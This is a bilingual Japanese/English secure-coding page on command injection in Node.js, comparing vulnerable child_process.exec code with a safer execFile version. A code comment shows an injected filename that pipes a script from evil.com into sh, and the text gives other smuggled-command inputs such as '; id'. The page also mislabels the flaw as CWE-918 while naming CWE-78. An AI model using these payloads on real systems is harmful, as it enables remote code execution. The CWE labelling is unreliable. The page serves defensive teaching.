flawopen.com/command-injection/Javascript

● CWE-918 · 緊急
セキュリティ研究 · FlawOpen

脆弱性の解説:Command Injection in JavaScript

Learn how to fix Command Injection (CWE-78) in JavaScript & Node.js. Side-by-side vulnerable vs secure code examples for child_process.execFile(), spawn(), and exec hazards.

💡 わかりやすい解説 (ELI5)

オフィスのアシスタントに「report.pdf」という書類の印刷を頼む場面を想像してください。攻撃者が「report.pdf; whoami」というファイル名を渡すと、アシスタントはそのメモ全体をそのまま端末の窓口に提出してしまい、書類の印刷に加えて管理者バッジの読み取りまで実行してしまいます。

主要な概念と専門用語

Web Application Security
主要概念 (Web Application Security):Core architecture component affected by CWE-918.
CWE-918
主要概念 (CWE-918):Standard Common Weakness Enumeration classification for command-injection-javascript.
Defense-in-Depth
主要概念 (Defense-in-Depth):Multi-layered engineering verification and runtime boundary isolation.

ステップ・バイ・ステップの攻撃フロー

Step 1

信頼できない入力の受信

アプリケーションがHTTPリクエストから診断用ホスト名やファイル名などの入力を直接受け取ります。

Step 2

シェルコマンド文字列の安全でない連結

バックエンドが引数リストを使わず、生文字列の結合によってシェルコマンドを構築します。

Step 3

コマンド区切り文字の挿入

攻撃者が ';' や '&&'、'|'、バッククォートなどのメタ文字(例: '127.0.0.1; id')を挿入して構文を脱出します。

Step 4

サブシェルでの実行とホスト侵害

OSシェルがWebサーバー権限で追加されたコマンドを実行し、任意のリモートコード実行に至ります。

ソースコード比較:脆弱 vs 堅牢化

✕ 脆弱な実装
// child_process.exec spawns a shell and parses metacharacters
const { exec } = require('child_process');

function convertImage(filename) {
  // Input: "avatar.png; curl http://evil.com/shell | sh"
  exec(`convert ${filename} -resize 100x100 out.png`, (err, stdout) => {
    console.log(stdout);
  });
}
✓ 堅牢化されたセキュアパッチ
// child_process.execFile executes the binary directly without a shell
const { execFile } = require('child_process');

function convertImage(filename) {
  // filename is passed as a literal argument, never parsed as a shell command
  execFile('convert', [filename, '-resize', '100x100', 'out.png'], (err, stdout) => {
    console.log(stdout);
  });
}

エンジニアリング&システム堅牢化チェックリスト

References